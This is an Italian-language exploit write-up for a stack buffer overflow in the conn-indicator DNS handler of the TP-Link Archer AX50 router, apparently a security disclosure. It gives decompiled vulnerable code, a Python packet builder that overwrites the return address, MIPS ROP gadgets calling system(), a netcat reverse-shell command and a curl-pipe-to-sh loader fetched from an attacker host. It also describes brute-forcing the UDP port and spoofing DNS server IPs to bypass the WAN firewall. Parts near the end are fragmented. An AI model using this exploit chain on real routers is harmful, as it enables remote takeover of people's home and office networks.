
Exploit per il buffer overflow basato sullo stack trovato nel binario conn-indicator del router TP-Link Archer AX50
Il router TP-Link Archer AX50 è vulnerabile a uno stack-based buffer overflow nella versione del firmware 1.0.14 Build 20240108 rel.42655(4555), portando all'esecuzione remota di codice sia sul lato LAN che sul lato WAN. Questa vulnerabilità ha la stessa causa principale di CVE-2020-10881, scoperta dal team Flashback e ampiamente descritta nella loro serie di video a riguardo (vedi riferimenti). Tuttavia, il processo di sfruttamento differisce un po', quindi è stato necessario scrivere un nuovo exploit.

Questa vulnerabilità si verifica nel binario conn-indicator, che ha il compito di verificare se il router è connesso a Internet inviando periodicamente query DNS e ascoltando le relative risposte su una porta UDP casuale tra 32000 e 61000.
La funzione che riceve e processa per prima questi pacchetti di risposta DNS è TPDns_RecvAndResolve(), situata a 0x00405e3c. Quando riceve un pacchetto con recvfrom, questo viene memorizzato in buf, che ha una dimensione di 2960 byte. Poi verifica che il codice di ritorno sia corretto (RCODE == 0) e controlla i numeri di domande e risposte nel pacchetto (QDCOUNT e ANCOUNT). Per processare le risposte, chiama process_resolved_IP() e le passa un puntatore a buf, answer_ptr, che è un puntatore alla posizione delle risposte all'interno del pacchetto in buf, il numero di risposte (ANCOUNT) e altri flag:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
La funzione process_resolved_IP(), situata a 0x00405818, scorre ogni risposta e chiama DNS_answer_parser() per ciascuna di esse. Passa come argomenti lo stesso puntatore a buf, answer, che è un puntatore alla risposta corrente in fase di parsing all'interno del pacchetto originale in buf, e un puntatore a current_answer, che è un buffer di dimensione 256:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
La funzione DNS_answer_parser(), situata a 0x004054e0, fa il parsing di ogni risposta individualmente, che consiste in un nome di dominio rappresentato come <len><domain><len><domain>.... Ad esempio, example.com verrebbe rappresentato come 7example3com. La funzione itera su ogni coppia di <len><domain> che costituisce il nome di dominio nella risposta e verifica che <len> sia minore di 63 (domain_name & 0xc0 != 0). Poi chiama memcpy e copia <len> byte di answer, corrispondenti a <domain>, in current_answer. Ripete il processo per la coppia successiva di <len><domain> nel nome di dominio.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
Poiché current_answer è lungo solo 256 byte, è possibile per un attaccante inviare un pacchetto con una risposta contenente un nome di dominio abbastanza grande da mandare in overflow il buffer.
Il processo di sfruttamento è molto simile a quello spiegato dal team Flashback per CVE-2020-10881 nella loro serie di video a riguardo (vedi riferimenti), con alcune differenze chiave:
move, poiché ora il registro che viene spostato in $a2 come argomento count per memcpy() è $s1 invece di $s0.i in process_resolved_IP() viene caricata in $s5 invece che in $s8. Poi, quando viene confrontata con $v1, $v1 viene prelevato da $sp+616, che è molto lontano dal buffer andato in overflow, quindi lo stack doveva essere corrotto in una posizione ancora più lontana dalla risposta e dal comando.Con questo in mente, spiegherò comunque l'intero processo.
Il binario conn-indicator ha NX abilitato e ASLR su tutto tranne che su se stesso:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
Quindi la strategia per sfruttare questa vulnerabilità è costruire una ROP chain con cui possiamo eseguire system() con il comando desiderato.
Per poter mandare in overflow il buffer e corrompere il registro $ra, un attaccante deve inviare una risposta DNS con una risposta contenente un nome di dominio abbastanza grande. Per quanto riguarda l'header DNS, l'unico requisito è che RCODE sia 0 e che ANCOUNT sia 1, poiché il pacchetto deve contenere una sola risposta. Ad esempio, il seguente pacchetto corrompe il registro $ra con 0x50505050:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
Ora, poiché l'indirizzo del binario è sempre lo stesso in ogni esecuzione e dispone di un'area scrivibile, il piano è copiare lì il comando da eseguire e poi chiamare system() con quello. Per fare ciò, viene usata la seguente ROP chain:
memcpy(). L'indirizzo del gadget successivo viene caricato in $ra. Poi, $s2 viene spostato in $v0. Questo contiene l'indirizzo dell'area scrivibile del binario in cui il comando verrà copiato, che sarà l'argomento dest per memcpy(). Poi, l'argomento count per memcpy viene caricato in $s1 da un indirizzo dello stack che controlliamo. Infine, salta al gadget successivo:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() e poi lo chiama. L'argomento dest per memcpy(), corrispondente all'area scrivibile del binario, che era in $v0, viene caricato in $a0 come primo parametro di memcpy(). A questo punto dell'esecuzione, $a1 punta alla fine della risposta nel pacchetto DNS, ovvero dove abbiamo inserito la stringa del comando, quindi non c'è bisogno di preparare il parametro src. Poi, $s1, che contiene il parametro count caricato nel gadget precedente, viene spostato in $a2 come terzo parametro per memcpy(). Infine, memcpy() viene chiamato e la stringa del comando viene copiata nell'area scrivibile del binario. Questo gadget si trova alla fine di , quindi ora l'esecuzione continua al suo interno. Lo stack deve essere ora predisposto affinché la funzione possa tornare correttamente. Per fare ciò, alcune variabili di questa funzione che vengono caricate dallo stack e da alcuni registri sono posizionate con cura nel payload, come , , e . Al ritorno, l'indirizzo di viene nuovamente prelevato dallo stack, in cui inseriamo l'indirizzo del gadget successivo per saltarci.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() e la chiama. A questo punto dell'esecuzione, $v0 contiene il valore di $s3, in cui abbiamo inserito l'indirizzo dell'area scrivibile del binario, che ora contiene il comando. Quindi, $v0 viene spostato in $a0. Poi, l'indirizzo di system(), che è importato nel binario, viene caricato dallo stack in $ra e system() viene chiamata, ottenendo l'esecuzione di codice.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
Ora, la reverse shell da eseguire sul target, che esegue busybox, è la seguente:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
Tuttavia, il comando da eseguire deve essere meno di 62 caratteri e, poiché il file system è scrivibile solo in /tmp, era impossibile eseguire la reverse shell direttamente. Invece, è stato eseguito un loader: curl http://<attacker>:<port>/ | sh, che recupera la reverse shell dall'attaccante.
Ora, l'unica cosa rimasta è fare brute force sulla porta su cui conn-indicator è in ascolto, il che può essere facilmente automatizzato.
Fino a questo punto, questo exploit funzionerebbe solo sul lato LAN, poiché il lato WAN è protetto da firewall. Tuttavia, c'è un modo per aggirare questa restrizione. Affinché conn-indicator riceva le risposte DNS, il firewall consente i pacchetti che provengono dallo stesso IP delle query DNS inviate dal binario, cioè i pacchetti che provengono dal DNS che il router target sta utilizzando. Quindi, per bypassare il firewall, è sufficiente inviare pacchetti spoofati come se fossimo il server DNS, che se il target è in una rete locale sarà probabilmente qualcosa come 192.168.0.1, 192.168.1.1 o 10.0.0.1, e se il target è direttamente connesso a Internet, sarà probabilmente qualcosa come 8.8.8.8, 1.1.1.1 o altri server DNS comuni.
L'exploit completamente funzionante funziona sia per LAN che per WAN. La modalità LAN fa brute force su ogni porta da 32000 a 61000 e la modalità WAN fa brute force sulle stesse porte e su tutti i possibili IP DNS, che sono memorizzati nella SPOOF_LIST. Questa lista dovrebbe essere modificata in base alla conoscenza che l'attaccante ha del target; tuttavia, dato abbastanza tempo (minuti), dovrebbe coprire il 90% dei casi.
/tmp, quindi tutte le scritture e letture devono essere fatte lì. Questo rende impossibile che la reverse shell sia più corta di 62 caratteri, quindi per distribuirla sul target deve essere servita da un web server e deve essere inviato al target un comando per scaricarla ed eseguirla.process_resolved_IP()ANCOUNTparam_4param_5i$ra